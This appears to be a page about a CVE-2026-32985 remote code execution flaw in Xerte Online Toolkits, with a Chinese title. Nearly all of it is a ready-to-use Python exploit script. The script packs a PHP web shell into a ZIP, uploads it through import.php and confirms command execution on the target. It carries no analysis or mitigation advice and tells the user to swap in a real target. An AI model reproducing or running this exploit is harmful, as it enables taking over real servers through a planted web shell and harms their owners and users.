CVE-2026-32985 Xerte Online Toolkits远程代码执行漏洞

import requests import zipfile import os def create_malicious_zip(): """Create a ZIP archive containing a PHP webshell""" zip_path = "exploit.zip" php_payload = "<?php system($_GET['cmd']); ?>" with zipfile.ZipFile(zip_path, 'w') as zf: # The file is placed in 'media/' to match the extraction path zf.writestr("media/shell.php", php_payload) return zip_path def exploit(target_url): """Execute the exploit against the target""" zip_file = create_malicious_zip() # The vulnerable endpoint is typically import.php upload_url = f"{target_url}/import.php" try: with open(zip_file, 'rb') as f: files = {'file': ('exploit.zip', f, 'application/zip')} # Send the malicious payload response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] Upload successful. Checking for shell...") shell_url = f"{target_url}/media/shell.php" test_cmd = f"{shell_url}?cmd=whoami" # Verify command execution verify = requests.get(test_cmd, timeout=5) if verify.status_code == 200: print(f"[+] Exploit successful! Shell accessible at: {shell_url}") print(f"[+] Command output: {verify.text}") else: print("[-] Shell uploaded but not accessible.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") finally: if os.path.exists(zip_file): os.remove(zip_file) if __name__ == "__main__": target = "http://127.0.0.1/xerte" # Replace with actual target exploit(target)